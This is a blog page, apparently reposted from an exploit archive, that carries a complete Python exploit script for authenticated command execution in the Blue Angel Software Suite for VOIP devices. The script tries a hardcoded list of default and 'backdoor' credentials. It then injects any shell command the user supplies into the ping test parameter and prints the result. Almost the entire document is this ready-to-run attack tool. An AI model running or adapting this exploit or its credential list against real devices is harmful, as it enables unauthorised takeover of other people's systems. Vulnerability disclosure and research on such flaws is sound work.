Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86395616

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Blue Angel Software Suite - Authenticated Command Execution
# Google Dork: N/A
# Date: 02/05/2019
# Exploit Author: Paolo Serracino 
# Vendor Homepage: http://www.5vtechnologies.com
# Software Link: N/A
# Version: All
# Tested on: Embedded Linux OS
# CVE : N/A
# Description: Blue Angel Software Suite, an application that runs on embedded devices for VOIP/SIP services is vulnerable to an authenticated 
# command execution in ping command. All default accounts can be used to login and achieve command execution, including the guest one. 
# Moreover there's another account, defined in the local file device.dat, that provides an apparently "backdoor" account.
# A list of these accounts is hardcoded in the script.

#/usr/bin/python
import sys
import requests


def check_sw(target,port):

  res = requests.get(target + ':' + port)

  if '/cgi-bin/webctrl.cgi?action=index_page' in res.text:
     return True
  else:
     print "[-] DOES NOT LOOK LIKE THE PAGE WE'RE LOOKING FOR"
     return False

def check_login(target,port,command):

   if not check_sw(target,port):
      sys.exit()

   creds_common = [('blueangel','blueangel'), #the "backdoor" account
                   ('root','abnareum10'),
                   ('root','Admin@tbroad'),
                   ('root','superuser'),
                   ('user','user') ,
                   ('guest','guest'),
                   ]
 
   for i in range(len(creds_common)):
      postdata=[('action','login_authentication'),
               ('redirect_action','sysinfo_page'),
               ('login_username',creds_common[i][0]),
               ('login_password',creds_common[i][1]),
               ('B1','Login')
               ]

      res = requests.post(target + ':' + port + '/cgi-bin/webctrl.cgi',data=postdata)

      if 'Set-Cookie' in res.headers:
         cookie = res.headers.get('Set-Cookie')
         print '[+] LOGGED IN WITH CREDENTIALS  ' + str(creds_common[i][0] + ' : ' + creds_common[i][1]) 
         execute_cmd(target,port,cookie,command)  
         return True


def execute_cmd(target,port,cookie,cmd):

   print '[+] EXECUTING COMMAND'
   new_headers = ({'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)',
                 'Referer': target,
                 'Cookie': cookie
                })
   res = requests.get(target + ':' + port + '/cgi-bin/webctrl.cgi?action=pingtest_update&ping_addr=127.0.0.1;' + cmd + '&B1=PING',headers=new_headers)
   res_lines = res.text.splitlines()
   result = []
   copy = False

   for line in res_lines:

      if 'round-trip min/avg/max' in line:
         copy = True
      elif '</pre></body></html>' in line: 
         copy = False
      elif copy == True:
         result.append(line)

   print('[+] COMMAND RESPONSE')
   print('------------------------------------------')

   for r in result:
      print r
   print('------------------------------------------')


def main():

   if len(sys.argv) < 4:
      print '[-] 3 ARGS: TARGET PORT SHELL_COMMAND'
      sys.exit()
   
   target = sys.argv[1]   
   port = sys.argv[2]
   command = sys.argv[3]
   if not check_login(target,port,command):
      print '[-] COULD NOT FIND VALID CREDENTIALS'
      
if __name__ == "__main__":
    main()